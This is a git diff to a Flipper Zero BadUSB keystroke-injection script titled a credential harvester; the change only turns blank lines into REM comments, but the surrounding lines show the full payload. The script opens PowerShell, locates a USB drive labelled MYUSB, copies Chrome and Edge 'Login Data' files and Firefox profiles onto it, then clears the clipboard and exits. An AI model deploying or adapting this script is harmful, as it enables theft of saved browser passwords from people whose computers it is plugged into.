diff --git a/BadUSB/Credential_Harvester_MarkCyber.txt b/BadUSB/Credential_Harvester_MarkCyber.txt index 436db958..f57ecd81 100644 --- a/BadUSB/Credential_Harvester_MarkCyber.txt +++ b/BadUSB/Credential_Harvester_MarkCyber.txt @@ -2,10 +2,10 @@ REM This script was created by github.com/MarkCyber REM Harvests all credentials from chrome, edge, and firefox REM This script requires a secondary USB named "MYUSB" to save credentials to REM The extracted data will require decryption - +REM REM Set delay for Flipper Zero DELAY 1000 - +REM REM Open PowerShell without elevated privileges GUI r DELAY 500 @@ -13,7 +13,7 @@ STRING powershell DELAY 500 ENTER DELAY 1000 - +REM REM Check if the USB drive exists STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter; STRING if ($usbDrive -ne $null) { @@ -28,19 +28,19 @@ DELAY 500 STRING cd BrowserData; ENTER DELAY 500 - +REM REM Copy Chrome Login Data to USB STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"; STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; } ENTER DELAY 500 - +REM REM Copy Firefox Login Data to USB STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\"; STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; } ENTER DELAY 500 - +REM REM Copy Edge Login Data to USB STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data"; STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; } @@ -49,12 +49,12 @@ DELAY 500 STRING } ENTER DELAY 500 - +REM REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on targetPC) STRING echo off | clip ENTER DELAY 500 - +REM REM Close PowerShell STRING exit ENTER